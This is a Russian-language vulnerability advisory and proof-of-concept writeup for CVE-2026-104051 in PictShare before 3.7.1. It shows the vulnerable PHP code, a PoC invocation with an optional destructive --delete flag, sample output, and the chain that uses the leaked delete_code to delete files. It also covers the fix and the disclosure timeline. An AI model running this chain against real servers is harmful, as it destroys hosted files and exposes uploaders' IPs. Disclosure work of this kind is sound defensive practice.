Раскрытие конфиденциальной информации через info API в PictShare < 3.7.1 (CWE-522). PoC + advisory writeup.
info в PictShareАвторизованное исследование безопасности. PoC только для защитного и образовательного использования.
Конечная точка /api/info/<hash> в PictShare
возвращает полный необработанный объект метаданных для любого загруженного файла — включая секретный
delete_code, который авторизует удаление, а также IP-адрес загрузившего, User-Agent, удалённый порт и
SHA-1. Неаутентифицированный злоумышленник, знающий (публично видимый) хеш файла, может прочитать его
delete_code и затем безвозвратно удалить произвольные размещённые файлы.
| CVE | CVE-2026-104051 |
| Продукт | PictShare (самостоятельно размещаемый хостинг изображений/медиа) |
| Затронуто | >= 2.0.0, < 3.7.1 |
| Исправлено в | v3.7.1 |
| Уязвимость | Недостаточно защищённые учётные данные (CWE-522) → произвольное удаление файлов + потеря конфиденциальности |
| Привилегии | Отсутствуют (неаутентифицированный) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| Обнаружено | Alisher Qarshibayev |
| Рекомендация | VulnCheck |
API::info() выполняет поиск по хешу и возвращает getMetadataOfHash() дословно — без
белого списка полей:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
А checkPermissions() — единственный барьер перед маршрутом info — проверяет возможность
записи в файловую систему, а не идентичность, поэтому info доступен без аутентификации:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
Возвращаемые метаданные содержат delete_code, который API удаления принимает как единственный
секрет авторизации:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
Хеши файлов публичны (они присутствуют в каждом URL общего доступа к изображению), поэтому вся цепочка —
утечка кода через info, затем удаление через delete — не требует ничего, кроме URL, которым
пользователь уже поделился.
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
Ожидаемый результат:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
См. poc.py. Удаление выполняется по желанию (--delete), поэтому запуск по
умолчанию доступен только для чтения и не разрушителен.
Обновитесь до PictShare 3.7.1 (коммит исправления ce5fc47).
info() теперь возвращает строгий белый список (mime, size, hash, sha1, uploaded) и больше
не раскрывает delete_code, ip, useragent или remote_port. Общая рекомендация: ответы API
должны явно использовать белый список полей; никогда не сериализуйте внутреннюю запись, которая смешивает
секреты с публичными данными.
Связанное: CVE-2026-104356 — даже без этой утечки
delete_codeбыл предсказуем, поскольку генерировался с помощьюrand().
| Дата | Событие |
|---|---|
| 2026-10-01 | Публичное раскрытие, CVE зарезервирован и опубликован (VulnCheck), исправлено в v3.7.1 |
Ответственно раскрыто производителю и скоординировано через VulnCheck. Исправлено до выпуска этого PoC. Опубликовано в защитных и образовательных целях.